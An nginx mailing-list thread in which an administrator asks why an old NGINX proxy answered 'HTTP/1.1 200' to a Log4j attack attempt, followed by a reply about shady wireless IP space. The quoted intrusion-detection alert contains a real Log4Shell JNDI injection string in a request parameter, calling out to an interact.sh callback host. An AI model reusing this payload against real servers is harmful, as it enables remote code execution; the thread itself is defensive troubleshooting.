That IP space is certified shady. I detect the occasional hack from them. See 

https://krebsonsecurity.com/2019/08/the-rise-of-bulletproof-residential-networks/

and

https://wirelessdataspco.org/faq.php

These wireless companies will do anything for money including leasing their IP 
space. 

I don't block the IP space since it could be from normal users. Plus plenty of 
hacking comes from actual wireless providers customers. But I am appalled 
highly profitable wireless providers lease ipv4 space to hackers for what is 
pocket change for them. 

I will leave it up to the gurus to parse the log.  






          Original Message      


From: mauro.trid...@cmcc.it
Sent: December 29, 2021 6:55 AM
To: nginx@nginx.org
Reply-to: nginx@nginx.org
Subject: Help request about Log4j attack attempts and NGINX logs meaning




Dear Users,


I have an old instance of NGINX (v.1.10.1) running as proxy server on a 
dedicated hardware platform.
Since the proxy service is reachable from internet, it is constantly exposed to 
cyber attacks.
In my particular case, it is attacked by a lot of Log4j attack attempts from 
several malicious IPs.


At this moment, an host intrusion detection system (HIDS) is running and is 
protecting the NGINX server: it seems it is blocking every malicious attack 
attempts.
Anyway, during the last attack mail notification sent by the HIDS, I noticed 
that the NGINX server response was “HTTP/1.1 200” and I’m very worried about it.
Log4j and Java packages are NOT installed on the NGINX server and all the 
servers behind the proxy are not using Log4j.


Could you please help me to understand the reason why the NGINX server answer 
was “HTTP/1.1 200”!?


You can see below the mail notification I received:



Attack Notification.
2021 Dec 28 20:45:59

Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
Src IP: 166.137.252.110
Portion of the log(s):

166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET 
/?sulgz=${jndi:ldap://“hidden_NGINX_server_IP".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a}
 HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"


Thank you in advance,
Mauro 
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